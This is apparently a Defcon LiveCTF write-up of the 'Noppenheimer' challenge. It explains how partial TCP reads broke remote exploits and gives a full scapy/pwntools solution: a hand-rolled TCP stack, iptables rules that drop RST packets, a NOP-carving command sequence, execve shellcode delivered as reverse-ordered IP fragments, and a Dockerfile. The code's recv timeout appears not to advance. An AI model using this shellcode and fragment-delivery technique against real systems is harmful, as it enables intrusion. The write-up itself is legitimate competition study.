Noppenheimer
At Defcon CTF Finals, the Final round of LiveCTF went into sudden death. The challenge was named Noppenheimer, a play on the Oppenheimer film that was released, and NOP (NO-OP) instructions.
Contestants had to turn a random sequence of bytes into a gadget/shellcode cave by converting bytes into NOPs, by sending "nuke" Launch commands.
Options:
LAUNCH x,y - Launch a test at position x,y
VIEW - See state of test site
ENDTEST - Conclude testing
>
Both teams solved locally. But they couldn't exploit Noppenheimer against the remote system.
What Went Wrong
Teams used a single read/recv syscall to receive to get shellcode to run. Without any delays in the program,
the call will return quickly and if the payload is larger than the MTU it will return partial TCP data.
The payloads were crashing on the remote end as they didn't have working shellcode.
As @ZetaTwo and @psifertex explain, the conditions which cause this are highly specific to the exploit with payload length, delays, and other factors. The testers exploits didnt trigger this problem.
Solving with IP Fragmentation
IP Packets can be fragmented into multiple packets when they exceed the MTU size, which is the maximum amount of octets accepted at layer 2 on Ethernet.
By sending fragments in reverse order, it can be ensured that the recv/read call will get all of the data that has been sent, even beyond the MTU size.
Here is a python solution that combines scapy with pwntools, to run inside of a container, which does just that.
As a bonus, it also includes a semi-working TCP implementation written in pure scapy/python.
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# Author: [email protected] <github.com/lts-rad>
'''
Demo of TCP w/ sending fragmented payloads with scapy.
Run this code inside of a namespace/container. Since Linux sends RST for forged SYN packets,
this code will use iptables to block them.
#> iptables -A OUTPUT -p tcp --tcp-flags RST RST -s <src_ip> -j DROP
'''
from scapy.all import *
import logging
from pwn import *
logger = logging.getLogger(__name__)
#logging.basicConfig(level=logging.DEBUG)
#logger.setLevel(logging.DEBUG)
class TcpHandshake(object):
class RLoop(threading.Thread):
def __init__(self, tcp):
threading.Thread.__init__(self)
self.tcp = tcp
def handle_recv(self, pkt):
if pkt and pkt.haslayer(IP) and pkt.haslayer(TCP):
if pkt[TCP].flags & 0x3f == 0x12: # SYN+ACK
logger.debug("RCV: SYN+ACK")
self.tcp.send_synack_ack(pkt)
return
elif pkt[TCP].flags & 4 != 0: # RST
logger.debug("RCV: RST")
#raise Exception("RST")
self.tcp.abort = True
return
elif pkt[TCP].flags & 0x1 == 1: # FIN
logger.debug("RCV: FIN")
self.tcp.send_finack(pkt)
return
elif pkt[TCP].flags.A: # ACK came in?
logger.debug("RCV: ACK")
self.tcp.send_base = pkt[TCP].ack
logger.debug("RCV: %s"%repr(pkt))
if len(pkt[TCP].payload) > 0:
self.tcp.Q += [bytes(pkt[TCP].payload)]
self.tcp.send_ack(pkt)
#great, got an ack, check the send queue for pending data
while len(self.tcp.send_queue) > 0:
ret = self.tcp.send_data(self.tcp.send_queue.pop(0))
if ret == False:
break
return
else:
logger.debug("? Unhandled packet")
return
def run(self):
ans = sniff(filter="tcp port %s"%self.tcp.target[1], lfilter=self.tcp.match_packet, prn=self.handle_recv, store=False)
def __init__(self, target, sport=31337):
self.seq = 0
self.seq_next = 0
self.target = target
self.dst = next(iter(Net(target[0])))
self.dport = target[1]
self.sport = sport #random.randrange(0, 2**16)
self.seq_start = random.randrange(0, 2**32)
# options=[('WScale', 7)]
self.l4 = IP(version=4,dst=target[0])/TCP(sport=self.sport, dport=self.dport, flags=0,
seq=self.seq_start, window=65535)
self.src = self.l4.src
self.Q = []
self.abort = False
self.send_base = self.l4[TCP].seq
self.send_window = self.l4[TCP].window
self.last_sent = self.send_base
self.send_queue = []
self.last_ack = 0
#let underlying handle ethernet
self.s = conf.L3socket()
self.R = self.RLoop(self)
self.R.start()
logger.debug("init: %s"%repr(target))
def start(self):
logger.debug("start")
return self.send_syn()
def match_packet(self, pkt):
if pkt.haslayer(IP) and pkt[IP].dst == self.l4[IP].src \
and pkt.haslayer(TCP) and pkt[TCP].dport == self.sport:
if pkt[TCP].ack <= self.seq_next and pkt[TCP].ack >= self.seq_start:
return True
else:
logger.debug("ack was %d expected %d" % (pkt[TCP].ack, self.seq_next))
return False
def send_syn(self):
logger.debug("SND: SYN")
self.l4[TCP].flags = "S"
self.seq_next = self.l4[TCP].seq + 1
self.s.send(self.l4)
self.l4[TCP].seq += 1
def send_synack_ack(self, pkt):
logger.debug("SND: SYN+ACK -> ACK with ack # %d" % (pkt[TCP].seq + 1))
self.l4[TCP].ack = pkt[TCP].seq + 1
self.l4[TCP].flags = "A"
self.seq_next = self.l4[TCP].seq
self.s.send(self.l4)
def send_data(self, d):
if self.abort == True:
print("[-] not sending data, aborted !!!")
return False
self.l4[TCP].flags = "PA"
available = self.send_base + self.send_window - self.last_sent
if available == 0:
self.send_queue += [d]
# have to wait
return False
assert available >= 0
if available < len(d):
d, chop = d[:available], d[available:]
self.send_queue += [chop]
self.seq_next = self.l4[TCP].seq + len(d)
self.last_sent = self.seq_next
tosend = self.l4/d
self.s.send(tosend)
self.l4[TCP].seq += len(d)
return True
def send_frag_data(self, d, sz):
if self.abort == True:
print("[-] not sending data, aborted !!!")
return
assert sz >= 8
self.l4[TCP].flags = "PA"
#tbd send window handling for fragments(?)
dat = self.l4/d
fragments = fragment(dat, sz)
for f in fragments[::-1]:
self.s.send(f)
self.seq_next = self.l4[TCP].seq + len(d)
self.last_sent = self.seq_next
self.l4[TCP].seq += len(d)
return True
def send_fin(self):
logger.debug("SND: FIN")
self.l4[TCP].flags = "F"
self.seq_next = self.l4[TCP].seq + 1
self.s.send(self.l4)
self.l4[TCP].seq += 1
def send_rst(self):
logger.debug("SND: RST")
self.l4[TCP].flags = "R"
self.seq_next = self.l4[TCP].seq + 1
self.s.send(self.l4)
self.l4[TCP].seq += 1
def send_finack(self, pkt):
logger.debug("SND: FIN+ACK")
self.l4[TCP].flags = "FA"
self.l4[TCP].ack = pkt[TCP].seq + 1
self.seq_next = self.l4[TCP].seq + 1
self.s.send(self.l4)
self.l4[TCP].seq += 1
#raise Exception("FIN+ACK")
self.abort = True
def send_ack(self, pkt):
self.l4[TCP].flags = "A"
self.last_ack = pkt[TCP].ack
to_acknowledge = len(pkt[TCP].payload)
#logger.debug("SND: ACK with ack # %d" % (pkt[TCP].seq + len(pkt[TCP].load)))
if to_acknowledge != 0:
self.l4[TCP].ack = pkt[TCP].seq + to_acknowledge
self.s.send(self.l4)
def recv(self, timeout):
elapsed = 0
while (timeout != 0) and (elapsed < timeout):
if len(self.Q) > 0:
retval = self.Q.pop(0)
return retval
time.sleep(0.01)
elapsed += 0.
#returning nothing
return ""
def clear_recv(self):
self.Q = []
def wait_all_acks(self, timeout=0):
elapsed = 0
delta = 0.1
while (timeout != 0) and (elapsed < timeout):
if self.last_ack == self.seq_next and len(self.send_queue) == 0:
return True
time.sleep(delta)
elapsed += delta
return False
if __name__== '__main__':
sport = random.randint(40000, 60000)
os.system("iptables -F OUTPUT")
os.system("iptables -A OUTPUT -p tcp --sport %d --tcp-flags RST RST -j DROP"%sport)
conf.verb = 0
tcp_hs = TcpHandshake(("172.17.0.2", 31337), sport=sport)
r = tubes.sock.sock()
r.send = tcp_hs.send_data
r.recv = tcp_hs.recv
tcp_hs.start()
tosend = b""
def nuke(offset):
global tosend
# scapy send is slow. to speed it up,
# chunk the commands
if len(tosend) > 400:
r.send(tosend)
tosend = b""
tosend += b'LAUNCH %d,%d\n'%(offset%0x10,offset//0x10)
def nukes(a, b):
for i in range(a, b):
nuke(i)
nukes(0, 0x40)
nukes(0x50, 0x58)
nukes(0x5b, 0x60)
nukes(0x70, 0xb0)
nukes(0xc0, 0xc3)
nukes(0xc6, 0xc7)
nukes(0xca, 0xd0)
nuke(0xdc)
nukes(0xe0, 0xec)
nukes(0xed, 0xf0)
nukes(0x108, 0x10c)
nukes(0x10d, 0x473)
nukes(0x495, 0xc17)
nuke(0)
if tosend:
r.send(tosend)
tosend = b'ENDTEST\n'
r.send(tosend)
context.arch = 'amd64'
sc = b'\x90\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
print("******** sending shellcode ***********")
d = b'\x90' * (0xd00+200) + sc
tcp_hs.send_frag_data(d, 100)
#raw_input()
r.recvuntil(b'ENDTEST')
#raw_input("Ready?")
print("Waiting for data to come in...")
time.sleep(2)
tcp_hs.clear_recv()
print("[+] Good")
try:
r.interactive()
except:
print('aborted')
print("over")
raw_input()
os.system("iptables -F OUTPUT")
tcp_hs.send_fin()
tcp_hs.send_rst()
FROM python:3.8-slim
# Set the working directory
WORKDIR /app
# Install system dependencies
RUN apt-get update && apt-get install -y libpcap-dev
# Install Scapy using pip
RUN pip install scapy pwntools
RUN pip uninstall pyelftools -y
RUN pip install pyelftools==0.29
RUN apt-get install -y iptables net-tools
RUN apt-get install -y tmux tcpdump iproute2
COPY connect.py .
ENTRYPOINT ["/app/connect.py"]